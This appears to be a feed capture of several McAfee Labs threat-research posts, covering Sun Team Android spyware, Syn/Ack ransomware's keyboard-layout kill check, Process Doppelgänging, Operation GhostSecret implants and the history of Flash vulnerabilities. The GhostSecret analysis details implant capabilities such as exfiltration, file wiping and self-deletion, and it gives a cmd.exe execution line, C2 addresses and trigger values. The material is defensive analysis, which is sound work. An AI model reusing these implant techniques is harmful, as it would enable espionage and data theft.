Links to Previous Operations

After infecting a device, the malware uses Dropbox and Yandex to upload data and issue commands, including additional plug-in dex files; this is a similar tactic to earlier Sun Team attacks. From these cloud storage sites, we found information logs from the same test Android devices that Sun Team used for the malware campaign we reported in January. The logs had a similar format and used the same abbreviations for fields as in other Sun Team logs. Further, the email addresses of the new malware’s developer are identical to the earlier email addresses associated with the Sun Team. The relationship among email addresses and test devices is explained in the following diagram.

The use of identical email addresses ties the two malware campaigns to the same attacker.

About the Actors

After tracking Sun Team’s operations, we were able to uncover different versions of their malware. Following diagram shows the timeline of the versions.

Timeline of different malware versions of Sun Team.

Timeline shows us that malwares became active in 2017. Sun Team’s only purpose is to extract information from devices as all of the malwares are spywares. Malwares on Google Play stayed online for about 2 months before being deleted.

In our post of the earlier attack by this actor, we observed that some of the Korean words found on the malware’s control server are not in South Korean vocabulary and that an exposed IP address points to North Korea. Also, Dropbox accounts were names from South Korean drama or celebrities.

In the new malware on Google Play, we again see that the Korean writing in the description is awkward. As in the previous operation, the Dropbox account name follows a similar pattern of using names of celebrities, such as Jack Black, who appeared on Korean TV. These features are strong evidence that the actors behind these campaigns are not native South Koreans but are familiar with the culture and language. These elements are suggestive though not a confirmation of the nationality of the actors behind these malware campaigns.

Sun Team’s test devices originate from various countries.

Moreover, we uncovered information about the attacker’s Android test devices and exploits they tried to use. The devices are manufactured in several countries and carry installed Korean apps, another clue that the threat actors can read Korean. The exploits codes were found uploaded on one of the cloud storages used by Sun Team which are modified versions of publicly available sandbox escape, privilege escalation, code execution exploits that added functions to drop their own Trojans on victims’ devices. The modified exploits suggest that the attackers are not skillful enough to find zero days and write their own exploits. However, it is likely just a matter of time before they start to exploit vulnerabilities.

Modified exploits installing the Sun Team’s Trojan.

The most concerning thing about this Sun Team operation is that they use photos uploaded on social network services and identities of South Koreans to create fake accounts. We have found evidence that some people have had their identities stolen; more could follow. They are using texting and calling services to generate virtual phone numbers so they can sign up for South Korean online services.

Conclusion

This malware campaign used Facebook to distribute links to malicious apps that were labeled as unreleased versions. From our analysis, we conclude that the actor behind both campaigns is Sun Team. Be cautious when installing unreleased or beta versions of any app. Also, check the number of downloads to see if an app is widely installed; avoid obscure apps.

McAfee Mobile Security detects this malware as Android/RedDawn.A, B. Always keep your mobile security application updated to the latest version.

The post Malware on Google Play Targets North Korean Defectors appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/malware-on-google-play-targets-north-korean-defectors/feed/ 0
Syn/Ack Unique Proactive Protection Technique https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/syn-ack-unique-proactive-protection-technique/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/syn-ack-unique-proactive-protection-technique/#respond Fri, 11 May 2018 20:00:10 +0000 https://securingtomorrow.mcafee.com/?p=88828 McAfee’s Advanced Threat Research team has performed analysis on samples of Syn/Ack ransomware implementing Process Doppelgänging.  For those who are concerned about the potential impact of this ransomware but are currently unable to implement McAfee product protections, we have found a simple but interesting alternative method.  Prior to encryption and ransom, the malware first checks […]

The post Syn/Ack Unique Proactive Protection Technique appeared first on McAfee Blogs.

]]>
McAfee’s Advanced Threat Research team has performed analysis on samples of Syn/Ack ransomware implementing Process Doppelgänging.  For those who are concerned about the potential impact of this ransomware but are currently unable to implement McAfee product protections, we have found a simple but interesting alternative method.  Prior to encryption and ransom, the malware first checks if one of several hardcoded keyboards or languages is installed on the target machine.  If found, the malicious code will terminate, effectively resulting in an extremely simple “patch” of sorts. We have tested the following steps to be effective on several versions of Windows 7 and theoretically on Windows 10 – preventing the malware from encryption and ransom.  These steps can be taken proactively.  Due to limited scope of testing at this time, this technique may not work on all systems, release versions, and configurations.

Windows 7 – Adding Keyboard Layout:

Control Panel > Clock, Language, and Region > Region and Language > Keyboards and Languages

Click the “Change Keyboards” tab

In the Installed Services section click “add”

Select Keyboard – For example: Russian (Russia) > Keyboard > Russian

Click “Ok”

Click “Apply”

Click “Ok”

Here is the list of keyboards layouts you can add – any will suffice:

  • Armenian
  • Azeri, (Cyrillic, Azerbaijan)
  • Belarusian
  • Georgian
  • Kazakh
  • Ukrainian
  • Uzbek (Cryillic, Uzbekistan)
  • Uzbek (Latin,Uzbekistan)
  • Russian
  • Tajik

Windows 10 – Adding Language Support:

Control Panel > Language > Add a language

  • Armenian
  • Azeri, (Cyrillic, Azerbaijan)
  • Belarusian
  • Georgian
  • Kazakh
  • Ukrainian
  • Uzbek (Cryillic, Uzbekistan)
  • Uzbek (Latin,Uzbekistan)
  • Russian
  • Tajik

That’s all it takes!  Please note – this should not be considered a fully effective or long-term strategy.  It is highly likely the malware will change based on this finding; thus, we recommend the McAfee product protections referenced above for best effect.

The post Syn/Ack Unique Proactive Protection Technique appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/syn-ack-unique-proactive-protection-technique/feed/ 0
McAfee Protects Against Doppelgänging Technique https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-protects-against-doppelganging-technique/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-protects-against-doppelganging-technique/#respond Fri, 11 May 2018 15:00:40 +0000 https://securingtomorrow.mcafee.com/?p=88808 This blog was co-written with Brook Schoenfield. That adversaries adopt new techniques is a known fact. However, the speed they include new innovative techniques to bypass end-point security and or evade sandboxing appears to be at an ever-increasing pace. Indeed, adversary adoption is often faster than the InfoSec industry can implement and test effective countermeasures. […]

The post McAfee Protects Against Doppelgänging Technique appeared first on McAfee Blogs.

]]>
This blog was co-written with Brook Schoenfield.

That adversaries adopt new techniques is a known fact. However, the speed they include new innovative techniques to bypass end-point security and or evade sandboxing appears to be at an ever-increasing pace. Indeed, adversary adoption is often faster than the InfoSec industry can implement and test effective countermeasures. For example, in December 2017, a tool was released to hide PowerShell in a graphic file. Within 7 days of the release, McAfee Advanced Threat Research started to see the technique being exploited by a Nation State actor. From announcement to inclusion, test and use in production within 7 days is impressive.

This week, security-researchers from Kaspersky discovered that an actor was applying the so-called Process Doppelgänging technique in what has been named the “SynAck” ransomware. (https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/)

So What is the Process Doppelgänging Technique in a Nutshell?

Using this technique gives the malware writer an ability to run malicious code/executable under the cover of a legitimate executable by using the transaction features of the NTFS filesystem (Windows Transactional NTFS API).

McAfee Detects and Protects

Since the initial release of this technique in December 2017, McAfee Labs has been investigating this technique and how we might protect our customers. In contrast to adversaries who can release mistakes in code and implementation, we simply cannot. We have to thoroughly test to ensure that when we release our solution it detects correctly and does not disrupt or break other software.

McAfee’s Product Security Incident Team (PSIRT), working in coordination with McAfee’s product teams1 delivered a protection to Process Doppelgänging in two of McAfee’s product suites (see below for more detail). McAfee’s protection has tested effective against EnSilo’s original proof of concept (PoC) and other examples. As an example, we tested recent malware using the technique against our detection feature with success:

McAfee’s protection prevents execution of a file if changes to it are contained within a Windows NTFS transaction. There are no legitimate uses for the Transactional API to be used in this way, so far as McAfee know.

Details of products that include protection against Process Doppelgänging follow:

  • ENS 10.5.4, released April 24, 2018
  • VSE 8.8 patch 11, released April 24, 2018
  • ENS 10.6, Public Beta available March 9, 2018. Release is targeted around June 1, 2018

WSS 16.0.12 will include the same protection.  Release of WSS is targeted for the end of May, or the beginning of June, 2018.

What Is Protected 

Windows 7 & 8 -> McAfee protection is effective

Win 10 RS3 -> McAfee protection is effective

Win 10 RS4 -> Microsoft has implemented the same protection as McAfee

EnSilo have documented that attempts to exploit Win 10 Pre RS3 results in a Windows crash, “Blue Screen of Death” (BSOD). McAfee’s testing confirms Ensilo’s results.

Users may not see a detection alert with some versions of McAfee products under some versions of Windows. McAfee testing indicates that all versions of product under every Windows version listed above are protected.

 

1McAfee thanks McAfee Software Engineer, Alnoor Allidina for the diligence and insight that lead to the Process Dopplegänging protection.

The post McAfee Protects Against Doppelgänging Technique appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-protects-against-doppelganging-technique/feed/ 0
Global Malware Campaign Pilfers Data from Critical Infrastructure, Entertainment, Finance, Health Care, and Other Industries https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/global-malware-campaign-pilfers-data-from-critical-infrastructure-entertainment-finance-health-care-and-other-industries/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/global-malware-campaign-pilfers-data-from-critical-infrastructure-entertainment-finance-health-care-and-other-industries/#respond Wed, 25 Apr 2018 04:01:24 +0000 https://securingtomorrow.mcafee.com/?p=88419 McAfee Advanced Threat Research analysts have uncovered a global data reconnaissance campaign assaulting a wide number of industries including critical infrastructure, entertainment, finance, health care, and telecommunications. This campaign, dubbed Operation GhostSecret, leverages multiple implants, tools, and malware variants associated with the state-sponsored cyber group Hidden Cobra. The infrastructure currently remains active. (For an extensive […]

The post Global Malware Campaign Pilfers Data from Critical Infrastructure, Entertainment, Finance, Health Care, and Other Industries appeared first on McAfee Blogs.

]]>
McAfee Advanced Threat Research analysts have uncovered a global data reconnaissance campaign assaulting a wide number of industries including critical infrastructure, entertainment, finance, health care, and telecommunications. This campaign, dubbed Operation GhostSecret, leverages multiple implants, tools, and malware variants associated with the state-sponsored cyber group Hidden Cobra. The infrastructure currently remains active. (For an extensive analysis by the Advanced Threat Research team, see “Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide.”

The campaign is extremely complicated, leveraging a number of implants to steal information from infected systems and is intricately designed to evade detection and deceive forensic investigators. The implants vary considerably and although they share some functionality and code, they are categorized as different families. As McAfee Advanced Threat Research analysts investigated this campaign, we recognized many similarities to indicators used in the 2014 Sony Pictures attack.

A portion of this campaign aimed at the Turkish financial sector using the Bankshot implant was recently discovered by McAfee Advanced Threat Research analysts. This appears to have been the initial stage of Operation GhostSecret, as within days of publication, new attacks appeared  beyond the financial sector. Between March 14 and 18, we observed the data reconnaissance implant in organizations across 17 countries.

Delving further into this campaign reveals a narrow list of organizations across the globe; the threat actors have been explicit about who can connect from which IP address. Reviewing the WHOIS information for these IP addresses shows us that there is some correlation in geography, although there are no additional clues why these addresses were used.

As we monitor this campaign, it is clear that the publicity associated with the (we assume) first phase of this campaign did nothing to slow the attacks. The threat actors not only continued but also increased the scope of the attack, both in types of targets and in the tools they used. We try to avoid using the word sophisticated because it is both subjective and overused. Nonetheless, the attackers have significant capabilities, demonstrated by their tools development and the pace at which they operate.

Fighting cybercrime is a global effort best undertaken through effective partnerships between the public and private sectors. McAfee is working with Thai government authorities to take down the control server infrastructure of Operation GhostSecret, while preserving the systems involved for further analysis by law enforcement authorities. By creating and maintaining partnerships with worldwide law enforcement, McAfee demonstrates that we are stronger together.

The post Global Malware Campaign Pilfers Data from Critical Infrastructure, Entertainment, Finance, Health Care, and Other Industries appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/global-malware-campaign-pilfers-data-from-critical-infrastructure-entertainment-finance-health-care-and-other-industries/feed/ 0
Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/#respond Wed, 25 Apr 2018 04:01:20 +0000 https://securingtomorrow.mcafee.com/?p=88422 McAfee Advanced Threat Research analysts have uncovered a global data reconnaissance campaign assaulting a wide number of industries including critical infrastructure, entertainment, finance, health care, and telecommunications. This campaign, dubbed Operation GhostSecret, leverages multiple implants, tools, and malware variants associated with the state-sponsored cyber group Hidden Cobra. The infrastructure currently remains active. In this post, […]

The post Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide appeared first on McAfee Blogs.

]]>
McAfee Advanced Threat Research analysts have uncovered a global data reconnaissance campaign assaulting a wide number of industries including critical infrastructure, entertainment, finance, health care, and telecommunications. This campaign, dubbed Operation GhostSecret, leverages multiple implants, tools, and malware variants associated with the state-sponsored cyber group Hidden Cobra. The infrastructure currently remains active. In this post, we dive deeply into this campaign. For a brief overview of this threat, see “Global Malware Campaign Pilfers Data from Critical Infrastructure, Entertainment, Finance, Health Care, and Other Industries.”

Our investigation into this campaign reveals that the actor used multiple malware implants, including an unknown implant with capabilities similar to Bankshot. From March 18 to 26 we observed the malware operating in multiple areas of the world. This new variant resembles parts of the Destover malware, which was used in the 2014 Sony Pictures attack.

Furthermore, the Advanced Threat Research team has discovered Proxysvc, which appears to be an undocumented implant. We have also uncovered additional control servers that are still active and associated with these new implants. Based on our analysis of public and private information from submissions, along with product telemetry, it appears Proxysvc was used alongside the 2017 Destover variant and has operated undetected since mid-2017.

The attackers behind Operation GhostSecret used a similar infrastructure to earlier threats, including SSL certificates used by FakeTLS in implants found in the Destover backdoor variant known as Escad, which was used in the Sony Pictures attack. Based on our technical analysis, telemetry, and data from submissions, we can assert with high confidence that this is the work of the Hidden Cobra group. The Advanced Threat Research team uncovered activity related to this campaign in March 2018, when the actors targeted Turkish banks. These initial findings appear to be the first stage of Operation GhostSecret. For more on the global aspect of this threat, see “Global Malware Campaign Pilfers Data from Critical Infrastructure of Entertainment, Finance, Health Care, and Other Industries.”

Analysis

The McAfee Advanced Threat Research team discovered a previously unknown data-gathering implant that surfaced in mid-February 2018. This implant appears to be a derivative of implants authored before by Hidden Cobra and contains functionality similar to that of Bankshot, with code overlaps from other Hidden Cobra implants. However, the variant is not based on Bankshot. Our analysis of the portable executable’s rich-header data reveals that the two implants were compiled in different development environments. (The PE rich header is an undocumented part of a Windows executable that reveals unique information to identify the Microsoft compiler and linker used to create the program. It is helpful for identifying similarities between malware variants to establish common development environments.) Our analysis of the code and PE rich header indicates that Bankshot, Proxysvc, and the Destover-like implant are distinct families, but also contain overlapping code and functionality with current tools of Hidden Cobra.

PE rich header data from the 2018 Bankshot implant.

PE rich header data from the new February 2018 implant.

PE rich header data from Proxysvc.dll.

When we compared the PE rich header data of the new February 2018 implant with a variant of Backdoor.Escad (Destover) from 2014 shortly before the Sony Pictures attack, we found the signatures to be identical. The Destover-like variant is 83% similar in code to a 2015 variant and contains the same rich PE header signature as the Backdoor.Escad variant we analyzed. Thus the new implant is likely a derivative of components of Destover. We determined that the implant is not a direct copy of well-known previous samples of Destover; rather, Hidden Cobra created a new hybrid variant using functionality present in earlier versions.

2014 Backdoor.Escad (hash: 8a7621dba2e88e32c02fe0889d2796a0c7cb5144).

2015 Destover variant (7fe373376e0357624a1d21cd803ce62aa86738b6).

The February implant fe887fcab66d7d7f79f05e0266c0649f0114ba7c was obtained from an unknown submitter in the United States on February 14, two days after it was compiled. This Korean-language file used the control server IP address 203.131.222.83. The implant is nearly identical to an unknown 2017 sample (8f2918c721511536d8c72144eabaf685ddc21a35) except that the control server addresses are different. The 2017 sample used address 14.140.116.172. Both implants specifically use FakeTLS with PolarSSL, which we saw in previous Hidden Cobra implants. PolarSSL libraries have appeared in implants since the Sony Pictures incident and were used exclusively in the implant Backdoor.Destover. This implant incorporated a custom control server protocol that sends traffic over port 443. The implementation does not format the packets in standard SSL, but rather in a custom format and transmitted over SSL—hence, FakeTLS. The control server traffic when compared to Backdoor.Escad is nearly identical.

TLS traffic in Backdoor.Destover, the 2018 Destover-like variant.

TLS traffic in Backdoor.Escad.

Further research into IP address 14.140.116.172 leads us to additional hidden components involved in the overall infrastructure. Proxysvc.dll contains a list of hardcoded IP addresses, including the preceding address, all located in India. Despite the name, this component is not an SSL proxy, but rather a unique data-gathering and implant-installation component that listens on port 443 for inbound control server connections.

Proxysvc was first collected by public and private sources on March 22 from an unknown entity in the United States. The executable dropper for the component was submitted from South Korea on March 19. McAfee telemetry analysis from March 16 to 21 reveals that Proxysvc components were active in the wild. Our research shows this listener component appeared mostly in higher education organizations. We suspect this component is involved in core control server infrastructure. These targets were chosen intentionally to run Proxysvc because the attacker would have needed to know which systems were infected to connect to them. This data also indicates this infrastructure had been operating for more than a year before its discovery. The Advanced Threat Research team found this component running on systems in 11 countries. Given the limited capabilities of Proxysvc, it appears to be part of a covert network of SSL listeners that allow the attackers to gather data and install more complex implants or additional infrastructure. The SSL listener supports multiple control server connections, rather than a list of hardcoded addresses. By removing the dependency on hardcoded IP addresses and accepting only inbound connections, the control service can remain unknown.

The number of infected systems by country in which Proxysvc.dll was operating in March. Source: McAfee Advanced Threat Research.

The 2018 Destover-like implant appeared in organizations in 17 countries between March 14 and March 18. The impacted organizations are in industries such as telecommunications, health, finance, critical infrastructure, and entertainment.

The number of infected systems by country in which the Destover variant was operating in March. Source: McAfee Advanced Threat Research.

 

Control Servers

Further investigation into the control server infrastructure reveals the SSL certificate d0cb9b2d4809575e1bc1f4657e0eb56f307c7a76, which is tied to the control server 203.131.222.83, used by the February 2018 implant. This server resides at Thammasat University in Bangkok, Thailand. The same entity hosted the control server for the Sony Pictures implants. This SSL certificate has been used in Hidden Cobra operations since the Sony Pictures attack. Analyzing this certificate reveals additional control servers using the same PolarSSL certificate. Further analysis of McAfee telemetry data reveals several IP addresses that are active, two within the same network block as the 2018 Destover-like implant.

Number of infections by Thammasat Universityhosted control servers from March 1519, 2018. Source: McAfee Advanced Threat Research.

Implant Origins

McAfee Advanced Threat Research determined that the Destover-like variant originated from code developed in 2015. The code reappeared in variants surfacing in 2017 and 2018 using nearly the same functionality and with some modifications to commands, along with an identical development environment based on the rich PE header information.

Both implants (fe887fcab66d7d7f79f05e0266c0649f0114ba7c and 8f2918c721511536d8c72144eabaf685ddc21a35) are based on the 2015 code. When comparing the implant 7fe373376e0357624a1d21cd803ce62aa86738b6, compiled on August 8, 2015, we found it 83% similar to the implant from 2018. The key similarities and differences follow.

Similarities

  • Both variants build their API imports dynamically using GetProcAddress, including wtsapi32.dll for gathering user and domain names for any active remote sessions
  • Both variants contain a variety of functionalities based on command IDs issued by the control servers
  • Common capabilities of both malware:
    • Listing files in directory
    • Creating arbitrary processes
    • Writing data received from control servers to files on disk
    • Gathering information for all drives
    • Gathering process times for all processes
    • Sending the contents of a specific file to the control server
    • Wiping and deleting files on disk
    • Setting the current working directory for the implant
    • Sending disk space information to the control server
  • Both variants use a batch file mechanism to delete their binaries from the system
  • Both variants run commands on the system, log output to a temporary file, and send the contents of the file to their control servers

Differences

The following capabilities in the 2015 implant are missing from the 2018 variant:

  • Creating a process as a specific user
  • Terminating a specific process
  • Deleting a specific file
  • Setting file times for a specific file
  • Getting current system time and sending it to the control server
  • Reading the contents of a file on disk. If the filepath specified is a directory, then listing the directory’s contents.
  • Setting attributes on files

The 2015 implant does not contain a hardcoded value of the IP address it must connect to. Instead it contains a hardcoded sockaddr_in data structure (positioned at 0x270 bytes before the end of the binary) used by the connect() API to specify port 443 and control server IP addresses:

  • 193.248.247.59
  • 196.4.67.45

Both of these control servers used the PolarSSL certificate d0cb9b2d4809575e1bc1f4657e0eb56f307c7a76.

Proxysvc

At first glance Proxysvc, the SSL listener, looks like a proxy setup tool (to carry out man-in-the-middle traffic interception). However, a closer analysis of the sample reveals it is yet another implant using HTTP over SSL to receive commands from the control server.

Proxysvc appears to be a downloader whose primary capability is to deliver additional payloads to the endpoint without divulging the control address of the attackers. This implant contains a limited set of capabilities for reconnaissance and subsequent payload installations. This implant is a service DLL that can also run as a standalone process.

The ServiceMain() sub function of Proxysvc.

The implant cannot connect to a control server IP address or URL. Instead it accepts commands from the control server. The implant binds and listens to port 443 for any incoming connections. 

 

 

Proxysvc binding itself to the specified port.

Proxysvc begins accepting incoming requests to process. 

Proxysvc makes an interesting check while accepting connections from a potential control server. It checks against a list of IP addresses to make sure the incoming connection is not from any of the following addresses. If the incoming request does come from one of these, the implant offers a zero response (ASCII “0”) and shuts down the connection.

  • 121.240.155.74
  • 121.240.155.76
  • 121.240.155.77
  • 121.240.155.78
  • 223.30.98.169
  • 223.30.98.170
  • 14.140.116.172 

SSL Listener Capabilities

The implant receives HTTP-based commands from a control server and parses the HTTP Content-Type and Content-Length from the HTTP header. If the HTTP Content-Type matches the following value, then the implant executes the command specified by the control server:

Content-Type: 8U7y3Ju387mVp49A

HTTP Content-Type comparison with a custom implant value.

The implant has the following capabilities:

  • Writing an executable received from the control server into a temp file and executing it

Proxysvc writing a binary to a temp directory and executing it. 

  • Gathering system information and sending it to the control server. The system information gathered from the endpoint includes:
    • MAC address of the endpoint
    • Computer Name
    • Product name from HKLM\Software\Microsoft\Windows NT\CurrentVersion ProductName
    • This information is concatenated into a single string in the format: “MAC_Address|ComputerName|ProductName” and is sent to the control server
  • Recording HTTP requests from the control server to the temporary file prx in the implant’s install directory with the current system timestamp

Analyzing the Main Implant

The February 2018 implant contains a wide variety of capabilities including data exfiltration and arbitrary command execution on the victim’s system. Given the extensive command structure that the implant can receive from the control server, this is an extensive framework for data reconnaissance and exfiltration, and indicates advanced use. For example, the implant can wipe and delete files, execute additional implants, read data out of files, etc.

The implant begins execution by dynamically loading APIs to perform malicious activities. Libraries used to load the APIs include:

  • Kernel32.dll
  • Apvapi32.dll
  • Oleaut32.dll
  • Iphlpapi.dll
  • Ws2_32.dll
  • Wtsapi32.dll
  • Userenv.dll
  • Ntdll.dll

The main implant dynamically loading APIs.

As part of its initialization, the implant gathers basic system information and sends it to its hardcoded control server 203.131.222.83 using SSL over port 443:

  • Country name from system’s locale
  • Operating system version
  • Processor description from

HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ProcessorNameString

  • Computer name and network adapters information
  • Disk space information for disks C: through Z: including total memory in bytes, total available memory in bytes, etc.
  • Current memory status including total physical memory in bytes, total available memory, etc.
  • Domain name and usernames based on current remote sessions

Domain name and username extraction using Win32 WTS APIs.

Data Reconnaissance

The implant receives commands over SSL as encoded data. This data is decoded, and the correct command ID is derived. Valid command IDs reside between 0 and 0x1D.

Switch case handling command execution based on command IDs.

Based on the command ID, the implant can perform the following functions:

  • Gather system information and exfiltrate to the control server (same as the basic data-gathering functionality previously described)
  • Get volume information for all drives on the system (A: through Z:) and exfiltrate to the control server

Gathering volume information.

  • List files in a directory. The directory path is specified by the control server.
  • Read the contents of a file and send it to the control server

Reading file contents and sending it the control server.

  • Write data sent by the control server to a specified file path

Open handle to a file for writing with no shared permissions.

Writing data received from control server to file.

  • Create new processes based on the file path specified by the control server.

Creating a new process for a binary specified by the control server.

  • Wipe and delete files specified by the control server

Wiping and deleting files.

  • Execute a binary on the system using cmd.exe and log the results into a temp file, which is then read and the logged results are sent to the control server. The command line:

cmd.exe /c “<file_path> > %temp%\PM*.tmp 2>&1”

Executing a command and logging results to a temp file.

  • Get information for all currently running processes

Getting process times for all processes on the system.

Getting username and domain from accounts associated with a running process.

  • Delete itself from disk using a batch file.

Creating a batch file for self-deletion.

  • Store encoded data received from the control server as a registry value at:

HKLM\Software\Microsoft\Windows\CurrentVersion\TowConfigs Description

  • Set and get the current working directory for the implant

Setting and getting the current working directory for the implant’s process.

The command handler index table is organized in the implant as follows:

The command handler index table.

Conclusion

This analysis by the McAfee Advanced Threat Research team has found previously undiscovered components that we attribute to Hidden Cobra, which continues to target organizations around the world. The evolution in complexity of these data-gathering implants reveals an advanced capability by an attacker that continues its development of tools. Our investigation uncovered an unknown infrastructure connected to recent operations with servers in India using an advanced implant to establish a covert network to gather data and launch further attacks.

The McAfee Advanced Threat Research team will provide further updates as our investigation develops.

Fighting cybercrime is a global effort best undertaken through effective partnerships between the public and private sectors. McAfee is working with Thai government authorities to take down the control server infrastructure of Operation GhostSecret, while preserving the systems involved for further analysis by law enforcement authorities. By creating and maintaining partnerships with worldwide law enforcement, McAfee demonstrates that we are stronger together.  

Indicators of Compromise

McAfee detection

  • Trojan-Bankshot2

MITRE ATT&CK techniques

  • Exfiltration over control server channel: data is exfiltrated over the control server channel using a custom protocol
  • Commonly used port: the attackers used common ports such as port 443 for control server communications
  • Service execution: registers the implant as a service on the victim’s machine
  • Automated collection: the implant automatically collects data about the victim and sends it to the control server
  • Data from local system: local system is discovered and data is gathered
  • Process discovery: implants can list processes running on the system
  • System time discovery: part of the data reconnaissance method, the system time is also sent to the control server
  • File deletion: malware can wipe files indicated by the attacker

IP addresses

  • 203.131.222.83
  • 14.140.116.172
  • 203.131.222.109

Hashes

  • fe887fcab66d7d7f79f05e0266c0649f0114ba7c
  • 8f2918c721511536d8c72144eabaf685ddc21a35
  • 33ffbc8d6850794fa3b7bccb7b1aa1289e6eaa45 

The post Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/feed/ 0
Despite Decline in Use of Adobe Flash, Vulnerabilities Will Continue to Cause Concern https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/despite-decline-use-adobe-flash-vulnerabilities-will-continue-cause-concern/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/despite-decline-use-adobe-flash-vulnerabilities-will-continue-cause-concern/#respond Tue, 17 Apr 2018 13:00:02 +0000 https://securingtomorrow.mcafee.com/?p=88523 This post was researched and written by Brook Schoenfield with the assistance of Tim Hux, Abhishek Karnik, Asheer Malhotra, and Steve Povolny McAfee Advanced Threat Research team analysts have studied Adobe Flash Player for years because it is a popular target for attacks. As always, we advise customers to remain current with McAfee’s latest DAT […]

The post Despite Decline in Use of Adobe Flash, Vulnerabilities Will Continue to Cause Concern appeared first on McAfee Blogs.

]]>
This post was researched and written by Brook Schoenfield with the assistance of Tim Hux, Abhishek Karnik, Asheer Malhotra, and Steve Povolny

McAfee Advanced Threat Research team analysts have studied Adobe Flash Player for years because it is a popular target for attacks. As always, we advise customers to remain current with McAfee’s latest DAT versions. In this post we want to provide some insight into the history of Flash exploitation and possible future trends.

Morphisec published an analysis of a new set of Flash flaws, CVE-2018-4878, that have been exploited in the wild. Hardik Shah of McAfee Labs posted a technical analysis of CVE-2018-4878’s mechanisms on March 2:

“The number of Flash Player exploits has recently declined, due to Adobe’s introduction of various measures to strengthen Flash’s security. Occasionally, however, an exploit still arises. On January 31, Kr-Cert reported a zero-day vulnerability, identified as CVE-2018-4878, being exploited in the field. (Adobe has released an update to fix this flaw.)”

Details about McAfee protections covering CVE-2018-4878 appear at the end of this article.

This post will examine the history of Flash’s issues since the first Common Vulnerabilities and Exposures (CVE) list for Flash was published in 2006. By examining some of the data, both users and owners of sites that employ Flash can better understand Flash flaws and why Flash will continue to interest attackers, even though Adobe will discontinue development of Flash in 2020.

We examined historical Flash data regarding vulnerabilities. We also accounted for the current distribution and uses of Flash. Through this analysis, we believe that despite Adobe announcing Flash’s end of life, a number of sites will continue to use and depend upon Flash for at least the immediate future, even as sites convert to alternative technologies. (See the list of example sites, below.) Flash continues to offer attackers an exploitable collection of flaws for the immediate future.

The following chart uses CVE data. Although not every exploitable and exploited condition receives a CVE entry, most flaws that are discovered through security research or reported against major software vendors’ products eventually gains a CVE number that is posted to the CVE database kept by Mitre. Therefore, CVE offers a convenient repository of vulnerability data to aid research.

Searching the entire database for every instance of “Flash Player” or “Adobe Flash Player” returned 1,050 CVE entries from the years 2006-2017.

There was a steady increase in reported vulnerabilities between 2006 and 2014. Then we saw a big jump in 2015 and 2016. Of the 1,050 issues, about 79% (830) gave attackers some sort of code execution capability, though not every one of those 830 flaws allowed remote code execution. Still, an attacker gains a significant advantage from running any code. The McAfee Labs analysis shows that CVE-2018-4878 was another example of remote code execution, which usually leads to full compromise. This point suggests that Flash vulnerabilities will remain a significant target.

The data source CVE Details offers the following distribution of Flash CVE vulnerabilities:

Source: CVE Details.

In 2015 through 2017, 81% of flaws resulted in code execution of one form or another.

CVE Details also assigns Flash issues with Common Vulnerability Scoring System scores. Many issues from 2015–2017 earned scores above 9, which is considered severe.

  • 2015: 294 vulnerabilities ≥ 9
  • 2016: 224 vulnerabilities ≥ 9
  • 2017: 60 vulnerabilities ≥ 9

These severe scores further highlight why attackers remain interested in exploiting Flash weaknesses; they offer significant “attacker value” for the effort required to exploit them.  Looking at the historical distribution of issues, we see a spike in 2015. Then the spike drops off. It was in the latter part of 2014 that Adobe adopted a change in their software security strategy.

“’Finding and fixing bugs isn’t the way to go, it’s … making it harder and more expensive for [attackers] to achieve an outcome,” said Adobe’s Chief Security Officer, Brad Arkin, at a conference in October 2014. He urged organizations to stop patching every vulnerability and instead increase the cost of exploitation to frustrate attackers. “The bad guys aren’t stupid,” he added. “They are going to apply their resources in the [most] cost efficient way possible, and so they seek to minimize the cost of developing an exploit.”

Adobe’s shift in software security strategy has been to make exploiting issues prohibitively expensive so that attackers will find easier, less resource-intensive, and perhaps more reliable methods. Rather than chase every flaw, Adobe’s approach focuses on building defensive techniques that protect vulnerabilities, just as standard secure development life cycle techniques attempt to prevent new vulnerabilities from being released.

Little in software development happens immediately, especially on a large scale. There is typically a lag—usually one to two years—between a strategy shift and results. In any event, the first issues to be eliminated are often the easiest to fix. As the program’s effectiveness improves, resources are available to address harder problems.

Brad Arkin spoke about a strategy shift in the fall of 2014. We expected that shift to take time, and that is what we see in the data: In 2016, the number of newly discovered issues began to decline. However, the steep increase in vulnerabilities in 2015 and 2016 requires some additional examination.

When security researchers focus on a code base, they generally start by finding the easiest-to-discover issues. As these are found and fixed, researchers probe deeper, shifting to techniques that increase in difficulty. Due to this ever-increasing difficulty, we often see a decrease in discoveries; it takes more time and effort to uncover tricky issues.

